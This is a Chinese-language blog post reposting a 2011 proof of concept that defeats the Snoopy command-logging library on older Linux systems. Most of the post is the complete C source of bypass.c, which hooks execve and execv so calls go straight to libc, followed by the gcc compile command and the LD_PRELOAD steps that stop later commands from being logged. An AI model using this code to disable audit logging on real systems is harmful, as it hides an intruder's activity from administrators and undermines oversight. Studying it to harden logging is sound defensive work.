繞過Snoopy的記錄功能

大囚長發表於2018-05-07

不講原理,感興趣請看http://blog.rchapman.org/posts/Bypassing_snoopy_logging/,這個只適合老版本核心的Linux

檢視是否有snoopy載入了

ldd `which ls`

輸出類似如下就是snoopy被載入了

[ryan@buggy ~]# ldd `which ls`
        /usr/local/lib/snoopy.so (0x00002af2d1210000)
        librt.so.1 => /lib64/librt.so.1 (0x00002af2d1412000)
        libacl.so.1 => /lib64/libacl.so.1 (0x00002af2d161b000)
        libselinux.so.1 => /lib64/libselinux.so.1 (0x00002af2d1822000)
        libc.so.6 => /lib64/libc.so.6 (0x00002af2d1a3a000)
        libdl.so.2 => /lib64/libdl.so.2 (0x00002af2d1d91000)
        libpthread.so.0 => /lib64/libpthread.so.0 (0x00002af2d1f96000)
        /lib64/ld-linux-x86-64.so.2 (0x00002af2d0ff3000)
        libattr.so.1 => /lib64/libattr.so.1 (0x00002af2d21b1000)
        libsepol.so.1 => /lib64/libsepol.so.1 (0x00002af2d23b5000)

檢視日誌可以看到類似如下的內容

[ryan@buggy ~]# tail /var/log/secure
Apr 13 12:03:07 buggy snoopy[19511]: [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls  [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls 

建立bypass.c

/*
 * Proof of concept to bypass snoopy logging
 *
 * Many parts of the code came directly from the snoopy source itself.
 *
 * Ryan A. Chapman
 * Wed Apr 13 13:28:10 MDT 2011
 */

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <syslog.h>
#include <string.h>
#include <errno.h>

#if defined(RTLD_NEXT)
#  define REAL_LIBC RTLD_NEXT
#else
#  define REAL_LIBC ((void *) -1L)
#endif

#define FN(ptr,type,name,args)  ptr = (type (*)args)dlsym (REAL_LIBC, name)
#define FN_HANDLE(handle, ptr,type,name,args)  ptr = (type (*)args)dlsym (handle, name)

int execve(const char *filename, char *const argv[], char *const envp[])
{
    Dl_info info;
    void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL);
    if(handle == NULL)
        handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL);
    static int (*func)(const char *, char **, char **);

    FN_HANDLE(handle,func,int,"execve",(const char *, char **, char **));
    return (*func) (filename, (char**) argv, (char **) envp);
}

/* Put the libc version of execv back in place */
int execv(const char *filename, char *const argv[])
{
    Dl_info info;
    void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL);
    if(handle == NULL)
        handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL);
    static int (*func)(const char *, char **);

    FN_HANDLE(handle,func,int,"execv",(const char *, char **));
    return (*func) (filename, (char **) argv);
}

編譯

gcc -nostartfiles -shared -O3 -fomit-frame-pointer -fPIC bypass.c -obypass.so -ldl

載入模組

export LD_PRELOAD=/full/path/to/bypass.so
/bin/bash

之後的操作就不會被snoopy記錄了。所以snoopy的作者是反對將其用來做安全審計工作的。

相關文章